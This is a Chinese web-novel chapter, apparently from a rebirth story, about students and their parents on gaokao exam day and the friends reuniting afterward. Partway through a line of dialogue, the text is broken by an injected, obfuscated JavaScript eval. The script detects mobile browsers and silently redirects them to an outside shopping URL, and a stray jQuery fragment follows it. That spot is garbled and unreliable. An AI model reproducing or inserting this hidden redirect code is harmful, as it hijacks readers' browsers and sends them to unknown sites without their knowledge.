六月七号。晴。天蓝得像有人往上泼了一整桶靛青颜料。
考场设在县实验中学。远安一中的考生分到了三个考点，宋星燃这一批被划到了实验中学的第三考场。校门口拉起了警戒线，蓝色的隔离带在晨风里微微鼓动，上面印着"全国普通高等学校招生统一考试远安县考区"——白底红字，端端正正。
宋星燃到的时候校门口已经站了上百号人。
不是考生——是家长。
穿红衣服的、穿紫色衣服的、穿新买运动鞋的。有人手里攥着风油精，有人拎着塑料袋——里面是切成小块的西瓜、剥好的煮鸡蛋、装在保温杯里的温开水。一个穿碎花裙子的阿姨蹲在马路牙子上给她女儿系鞋带，系了两遍。系完了站起来，又弯腰把鞋带塞进鞋舌底下，说"别绊倒了"。
张桂兰站在警戒线外面，手里拿着一张打印好的考场分布表。她今天穿了一件深蓝色的衬衫，领口熨得笔挺。左手腕上的手表比平时调快了五分钟。
她面前站了半个班的人。
"准考证。"张桂兰指着邹成的透明文件袋，"再检查一遍。"
邹成低头翻了一下。"在。"
"身份证。"
"也在。"
"笔。"
"三支。全试过了。"
张桂兰点点头。然后目光扫过一排人，停在一个矮个子男生身上。"你水杯带了吗？"
"带了——"
"透明的。饮料不行。"她往他书包侧兜看了一眼，"你这不是水，是冰红茶。考场不给带。"
"啊？"
"对面小卖部。现在去买。跑着去。"
男生拔腿就跑。旁边几个人笑出声。
张桂兰没有笑。她把考场分布表递给了邹成，让他举着拍了张照发到班级群里。然后她做了件在她二十三年教学生涯里做过无数次的事——站到路边一块稍微高一点的台阶上，让所有人能看清她的脸。
"我说三件事。"
声音不大。但刚才嘻嘻哈哈的几个人都安静了。
"第一，答题卡涂完之后检查三遍。准考证号、条形码、每道题选的答案。"
"第二，遇到不会的题先跳过。不要在一道题上耗超过五分钟。五分钟没思路，就往后走。等你做完后面再回来，脑子里已经有了一个新视角。"
"第三——"她停了一下，"写完最后一个字，盖上笔盖，在座位上坐十秒。不要第一个冲出去，也不要最后一个。就安安静静地坐十秒。给自己的高中三年，画一个句号。"
树上的知了叫了一声。
邹成第一个开口。"张老师，你别说了——再说我要哭了。"
"哭什么。"张桂兰从台阶上走下来，"还没进考场呢。"
语气是嫌弃的。但转身的时候她用手背飞快地蹭了一下自己的鼻翼——动作很快，像赶蚊子。
苏晚柠是跟她爸妈一起来的。
苏妈穿着一件绛红色的旗袍，侧边开衩不高不低，领口别了一枚珍珠胸针。脚上是一双白色皮鞋，走路的时候哒哒地响。她平时不这么穿——苏晚柠瞄了一眼就捂住了脸。
"妈——你能不能不要——"
"怎么了怎么了？"苏妈拉了拉旗袍的腰身，"旗开得胜——懂不懂？你刘阿姨的女儿去年高考，她穿了大红色旗袍，她女儿考了六百三十七。"
"那是她女儿自己考的——跟她穿什么没关系。"
"没关系我也穿。就穿一天，你忍忍。"
苏爸站在旁边，手里拎着两个塑料袋，一袋是切好的哈密瓜，一袋是毛巾和风油精。他没穿西装——平时工地上穿什么今天还是穿什么，深灰色T恤的领口洗得有点泛白了。话也少，就站在苏妈后面，偶尔拿毛巾擦一下自己的额头。六月初的太阳爬到树梢上，已经开始发力了。
"笔试了没有？"苏爸开口。
"试了。"
"准考证呢？"
"爸——你问了第四遍了。"
"那就再查一遍。"
苏晚柠叹了口气，拉开透明文件袋给他看。苏爸认真地数了一遍：准考证、身份证、三支黑色水笔、一支2B铅笔、橡皮、直尺、圆规。
"直尺呢？"
"在这——"
"哦，看到了。"他把袋子重新拉好，递回去。然后抬手揉了一下苏晚柠的头发。下手很轻——跟他在工地上搬水泥的手劲完全不一样。
苏晚柠低下头。睫毛湿了。
"——哎呀。"苏妈一把把她揽过去，旗袍的绸子蹭在她脸上，凉丝丝的。"哭什么哭什么，还没考呢，不吉利——"
"谁哭了。"苏晚柠挣出来，从苏爸手里把毛巾拿过来，按在眼睛上。
苏妈嘴唇动了一下。她想说什么——大概是"别紧张"、"正常发挥"、"考不好也没关系"之类的。但她看到女儿按着毛巾的手背在微微发抖。于是那句话变成了别的。
"……哈密瓜吃不吃？切好了。不吃冰的，我放外头放了一早上。"
赵磊他爸妈比他到得还早。
赵姨从超市搬了三箱矿泉水，搬不动，赵爸用出租车后备箱拉过来的。两个人把箱子拆开，水一瓶一瓶码在人行道边的台阶上。旁边立了一块硬纸板，上面用黑色记号笔写了四个歪歪扭扭的大字——
"免费拿水。"
没有一个字的笔画是直的。第一个"免"字下面那撇飞出去了，"费"字左边那个"贝"写得像"见"。一看就是赵磊自己写的。
赵姨站在纸板旁边，手里已经攥着几瓶水了。她的围裙今天换了——不是平时在超市理货那条沾面粉和酱油渍的，是条新的，蓝格子，洗过一次，折痕还很明显。
"别紧张啊，小伙子。先喝口水——"
"谢谢阿姨——"
"你是实验中学的还是一中的？"
"我是二中的——"
"二中的也是咱们远安的孩子！拿上拿上。"
她又塞了两瓶给他。那个二中的考生抱了三瓶水走了，表情介于感激和不知所措之间。
赵爸蹲在出租车旁边抽烟。他不像赵姨那样忙得转不开身——但烟夹在手指中间，每口都只吸一半，剩下一半被风吹散。眼睛一直盯着校门口方向。
"磊磊来了没有？"赵姨回头喊。
"还没。"赵爸用烟头指了一下路口。
话音刚落，赵磊从人群里挤了出来。
他没背书包。手里只拎了一个透明文件袋，里面有准考证、身份证和一排黑水笔。校服没穿——穿了一件白色的T恤，领口有点歪，像是早上穿的时候还在打哈欠。
"妈！你搬水了？"
"搬了搬了——你先别管水，你嘴里那个口腔溃疡——"
"好了。"
"好了？上个月你说好了——"
赵磊张开嘴让她看。"真的，昨天就不疼了。"
赵姨仔细看了一眼。确认了。然后她把一瓶开了盖的水塞到他手里。"先喝——别多喝，抿一小口。喝多了进考场憋不住。"
"我知道，我知道——"赵磊接过水。又低头看了一眼那个"免费拿水"的纸板。"妈，这字——真的不能找人帮你写一下吗？"
"你写的。"
"就是因为我写的——"
"你写的就要用。你有意见？"
赵磊张了张嘴，没话说了。
赵爸站起来，把烟头踩灭。他走到赵磊面前，上下看了一眼——跟他看出租车引擎盖一样的眼神。检查完了，从裤兜里摸出一个东西塞给赵磊。
一颗糖。薄荷味的。
"含在嘴里。提神。"
赵磊接过去。糖纸有点皱，在裤兜里压了一天了。他剥开塞进嘴里，薄荷味从舌头底下炸开，凉气冲上鼻腔。
赵磊转身往校门口走。
赵姨在背后喊："磊磊——答题卡先涂——"
"听到了——"
走出三步。又回头。赵姨还站在那里，手里拿着一瓶没送出去的水，蓝格子围裙的下摆被风掀起来一个角。赵爸蹲回出租车旁边，两条手臂搭在膝盖上。两个人的姿势跟在家一模一样——一个站着，一个蹲着。只有背景换了，从厨房变成了校门口的人行道。
赵磊把嘴里的糖从左边换到右边。然后对着他妈的背影挥了一下手。
赵姨没看到。
赵爸也没看到。
他转回去，把透明文件袋攥紧了，迈进了警戒线的范围。
宋星瑶是坐早上六点的班车来的。
师范大学在省城，到远安县城要三个半小时。她昨晚就请好了假——"弟弟高考"四个字，辅导员一个字没多问就批了。早上四点四十起床，五点出门赶最早一班车。到县城的时候太阳刚爬上屋顶。
她在校门口扫了一圈——先是看到了苏晚柠和她妈，然后看到了赵磊家那个"免费拿水"的纸板，再然后看到了蹲在出租车旁边的赵爸。
最后在一棵梧桐树下找到了宋星燃。
他蹲在树根边上，左手拿着透明文件袋，右手在拨地上的蚂蚁。拇指大小的一只蚂蚁，搬着比它大五倍的碎饼干——被一块树根卡住了路线。他不知道看了多久。
"宋星燃。"
他抬起头。星瑶姐站在两米外，一只手扶着行李箱拉杆，头发被颠簸的大巴磨得散了半边。另一只手还拎着两个塑料袋。
"你怎么来了。"他站了起来。
"我怎么来了——你高考啊。"她把行李箱支在旁边，走过来。
她刚从空调大巴上下来，指节上还有一路攥着扶手留下的红印子。
把手里的塑料袋递过去——一个透明密封袋，里面装了两支笔、一块橡皮和一个削好的2B铅笔。跟宋星燃自己准备的完全一样。另一个塑料袋里是三个红豆面包和一瓶保温杯装的红豆粥。
"妈走的时候还没起来吧。"宋星瑶说。
宋星燃没有说话。
"她早上醒过一次，掀窗帘看了一下——说今天太阳真大。然后回去睡了。"
"她嫌热。"宋星燃把红豆面包拿过来，打开吃了起来。
宋星瑶她抬手帮他把校服领子上粘的一小片梧桐树飞絮摘下来。动作轻得像在捡棉絮。
"爸呢。"宋星瑶问。
"加班。"宋星燃说。"他那个厂子下个月要交货，走不开。"
宋星瑶没有接话。
太阳照在她侧脸上，下巴的轮廓跟宋星燃一模一样——宋妈每次说他俩"一个模子刻出来"的时候用的就是这个角度。她把行李箱拉杆收回去，找了片干净的人行道，靠着梧桐树站好了。
"行。"她说，"我在这儿等你。你快进去吧。考完请你吃好吃的。"
进考场的时间到了。
苏晚柠把哈密瓜盒子还给苏妈的时候，苏妈终于忍不住了。她拽着女儿的胳膊，想了想，又把那句到了嘴边的话咽了回去。最后只说了四个字："别跑太快。"
苏晚柠边跑边说："我知道了。"
赵磊把那颗薄荷糖的最后一点甜味吞下去了。走到一半回头看了一眼他爸妈——赵姨终于看到了，挥着水瓶冲他喊了一句什么。太远了，听不清楚。但他拼凑出了口型。
——加油。
他笑了一下。嘴唇上那个持续了两个多月的口腔溃疡已经完全好了，留了一个淡淡的白印子。他把透明文件袋举过头顶晃了晃。然后大步往考场走。
李可是自己来的。
她爸妈没来——或者来了站在别的地方，宋星燃没看见。她穿了一件浅蓝色的衬衫，校服裤子熨过了，棱角分明。刘海还是遮眉毛的那个长度，但今天别了一个银色的小发夹——把左边的头发别到耳后，露出了小半边脸。
她走过张桂兰面前的时候停了一下。
张桂兰说了什么。李可点点头。嘴唇动了动——说了两个字。声音太轻，宋星燃没听见是什么。但张桂兰听完之后笑了。不是惯常那种讲课时的笑——是眼角先皱起来的、整张脸都在动的笑。
宋星燃排在队伍里，跟着人流往校门口移。
往前走的时候，他经过了赵磊家那个"免费拿水"的纸板。硬纸板被太阳晒得有点翘角了，"免费"那个"免"字最下面的撇已经弯成了波浪线。
他经过的时候拿起了一瓶水。赵姨正在给一个考生家长指路，没注意到他。他把水放进书包侧兜，拉好拉链。
再往前走，是苏晚柠她爸妈站的位置。苏妈还在拽旗袍的腰身——她腰上那个珍珠胸针歪了，苏爸正在帮她扶正。动作笨拙，手指太粗，扣了半天没扣好。苏妈打了他手背一下。
宋星燃没有停下来。跨过了警戒线。
考场在教学楼四楼，四零三教室。
宋星燃找到座位——第三排靠窗。位置跟他在一班的座位差不多。窗外的梧桐树比远安一中那棵矮一些，但枝叶一样密。阳光从叶缝里漏下来，在桌面上铺了一小块光斑。
他坐下。把透明文件袋放在桌子左上角。红豆粥的保温杯从侧袋里滑出来，他顺手推到文件袋后面——考场不给带杯子上桌，只能放地上。
黑板上写着三行字：
"答题卡涂写规范" "考试时间：9:00-11:30" "祝全体考生沉着冷静，考出水平"
监考老师是两个陌生人。一个四十多岁的女老师戴眼镜，在讲台上核对考生信息表。另一个年轻一点的男老师在挨个检查透明袋。
宋星燃把手放在桌面上。掌心是干的。
他低头看了一眼自己的手指——没有抖。不是压制的。是真的不抖。前世他坐进这个考场的时候手抖得连笔都握不稳，第一题做了五分钟才把ABCD四个选项看完。那是从高二就开始的——跟沈泽宇在一起之后成绩一路下滑，越滑越怕，越怕越滑。
这一世他的手很稳。
不是因为题目简单——是因为他已经把该做的事一件不落地做完了。尽人事，听天命。
铃声。九点整。试卷发下来了。
语文。第一道题是语言文字运用。他翻了一下试卷——默写题考的是高中篇目的两句，初中的三句。作文题目是材料作文，给了一段关于"时间"的文字。
他拿起笔。笔握在虎口的位置，跟平时写字的角度一模一样。
落笔。第一题的答案。
他的手一直没有抖。
两个半小时像被人从水龙头里放掉的水，转眼就流走了。
宋星燃在最后十秒停笔。盖上笔盖。没有第一个站起来，也没有最后一个。他在座位上坐完张桂兰说的那十秒——十、九、八、七——心里默数。然后起身。
走出考场的时候阳光已经爬到了头顶上。走廊里到处是人。有人在对答案，有人蹲在墙角不说话，有人在往楼下跑，跑得太快差点撞到迎面端着饭盒的老师。空气里混杂着汗味、风油精味和刚拆封的密封袋塑料味。
他在楼梯口遇到了苏晚柠。
苏晚柠的眼睛红的。
不只是她一个人——走廊里好几个女生眼睛都是红的。但她不是在哭。红是红，干的。像刚揉过。
"作文。"她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689443|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说。声音有点哑，"我写跑题了。"
"你怎么知道。"
"我听到别人在讨论——他们写的是'珍惜时间'。我写的是——"她咬了一下嘴唇，"我写的是'时间不会等人'。"
"一样的意思。"
"不一样——"
"一样的。"他说，"同一个论点的两种表述。'珍惜'是从正面说，'不会等人'是从反面说。核心论点没偏。只要你没写成'时间不重要'。"
她愣了一下。然后吸了一下鼻子。"你确定？"
"我确定。"
她盯着他看了两秒。然后从口袋里掏出一张纸巾——不是擦脸，是擤了一下鼻涕。擤得很用力，声音在走廊里回荡了一下。
宋星燃笑了一下。
下午数学。
赵磊在数学卷子上耗了整整两个小时四十分钟。最后一个大题最后一问他放了空——看了一遍题目，又看了第二遍。然后拿起笔在卷子上写了一个"F"，又划掉了。
划掉之后在下面补了一行字："我知道要用F=ma。但我不知道它的加速度是多少。"
他不知道，但没空着。把会做的步骤全写完了，连受力分析图都画了上去。画得很难看——圆的画成椭圆，箭头的尖是歪的。但每一个力都标了方向。
考完之后他在楼下等宋星燃。
"最后一问你做了吗。"
"做了。"
"妈的——"赵磊踢了一脚地上的树根。"我就差那一步——我列了式子——我知道是F=ma——"
"那就够了。"
"什么够了？我没做出来——"
"你列了式子，画了受力分析。这两步就有分。"
赵磊嘴张着，保持了三秒。然后他把手里的透明文件袋一甩。"——真的？"
"真的。数学大题按步骤给分。"
赵磊猛地吸了一口气。整个人从脚后跟往上蹿了一截，像被人充了气。
"——那八十二——"
"我说的高考之后找你算账，没说高考第一天。"
赵磊嘴闭上了。然后指着宋星燃的鼻子——"你等着。明天理综。物理大题我要全对。"
他说这话的时候口腔溃疡好透了，薄荷糖也早化了，嘴唇上留了淡淡的白印子。但嘴角咧开的弧度跟高一下学期一模一样，从来没变过。
第二天，六月八号。
理综。外语。
下午英语听力放完的时候，窗外起了一阵风。梧桐树叶子哗啦啦地翻了个面，阳光从叶缝里洒进考场，打在宋星燃的答题卡上——正好照在最后一个涂完的选项上。
C。
他盖上笔盖。
还剩最后八分钟。他没有提前交卷。他把答题卡翻过来翻过去检查了三遍——不是翻面，是逐题核对——准考证号、条形码、每题涂的字母。张桂兰说的。三遍。
第七分钟。第二遍。
第四分钟。第三遍。
最后一分钟。他把试卷合上，手放回桌面。然后在心里默数——十、九、八、七、六、五、四、三、二、一。
铃声响了。
监考老师宣布收卷。他把试卷往前传。然后站起来。
一切结束了。
走出考场的感觉跟走进来不一样。
走进来的时候空气是绷紧的——像一根拉满了还没松的皮筋。每个人的脸上都有一种"还没到"的紧张。走出来的时候皮筋松了。有人跑，有人跳，有人把透明文件袋往天上扔，撞到走廊天花板弹回来砸在自己头上，捂着头笑。有人在楼下抱着家长哭，家长也在哭，两个人哭的声音混在一起分不清是谁的。
宋星燃没有跑。也没有跳。
他顺着人流走下了四楼的楼梯。一步一级，不快不慢。鞋底踩在水磨石台阶上的声音跟他高二那个秋天的下午一模一样——那天他重生回来的第一天，课间操，他从教室走出去，站在走廊上第一次看到操场上还没被翻修的跑道。他心里想的是：这辈子从头再来。
这辈子他没有从头再来。
他是从头，再多做一件事。
走出校门口的时候太阳还没落。警戒线的蓝色隔离带已经被人踩倒了，上面印的"全国普通高等学校招生统一考试"歪在地上，最后几个字被鞋印遮住了。
他站在警戒线外面，梧桐树下，回头看了一下考场楼。
四楼。四零三教室。灯还亮着，有人在整理讲桌。
然后他听到有人喊他名字。
是苏晚柠的声音。"宋星燃！——别跑——你考得怎么样！——"
他转过身。苏晚柠从人群里挤出来，手里拎着那个透明的文件袋，马尾甩得啪啪响。她后面是赵磊——赵磊的T恤前襟湿了一大片，不知道是汗还是水。再后面跟着的人让他愣了一下。
李可。
她跟在他们后面。没有挤，也没有跑。但她跟上了。
四个人站成一排，背后是考场楼投下来的大片阴影，面前是人来人往的街道和橙色夕阳。
苏晚柠第一个开口："我不问你答案——你就说一句——作文偏吗？"
"不偏。"
"你发誓——"
"你不信我就不要问。"
"那——理综——物理最后一题——"
赵磊突然扑过来勒住他的脖子。"——星哥——那道题我他妈全做完了——我说认真的——受力分析完了之后加速度算出来了——然后动量守恒——然后代入数值——我全做完了——我也不知道对不对但是步骤全写完了——"
"你松手——"
"不松——你跟我说实话——那道题的加速度到底是不是——"
宋星燃掰开他的胳膊。"你别对答案。张老师说的。"
"我不是对答案——我就是想知道——"
"不行。"
"为什么——"
"因为已经考完了。你再纠结那道题的加速度，明天醒来你会想撞墙。后天也是。后天之后又是明天。"
赵磊愣住了。
苏晚柠在一边没说话。她把马尾拨到前面来，手指绕着发尾转了一圈。
然后李可开口了。
声音还是很轻。但所有人听到了。
"考完了。"
就这三个字。
赵磊的胳膊从宋星燃脖子上松开了。苏晚柠转过头。宋星燃看着她——她的刘海还被发夹别在耳后，露出的半张脸被夕阳光照成了橘色。
"嗯。"他说。"考完了。"
梧桐树上的知了不知什么时候停了叫声。远处有个考生把书包往天上一扔——飞了大概两米高，掉下来的时候没接稳，砸在了他爸的车顶盖上。他爸在骂，旁边的人在笑。
苏晚柠把马尾甩回去了。"去不去吃饭——我爸说请客——"
赵磊立马举手。"去——我妈说带红烧肉来——"
"你妈不是在发水吗？"
"发完了——三箱全发完了——她回家做菜了——她说晚上给星哥也带一份——"
李可没有说话。但她往前走了一步。那一步几乎听不到脚步声。
宋星燃把透明文件袋夹在胳膊底下。
"走吧。"
四个人穿过人群。夕阳把他们的影子拉得很长——四个人的并排，最左边那个最高的，最右边那个矮一点的。影子叠在警戒线的蓝色塑料皮上，拖过被踩倒的那行字。
六月的风从身后刮过来。
高考结束了。
但它们的故事，还没结束。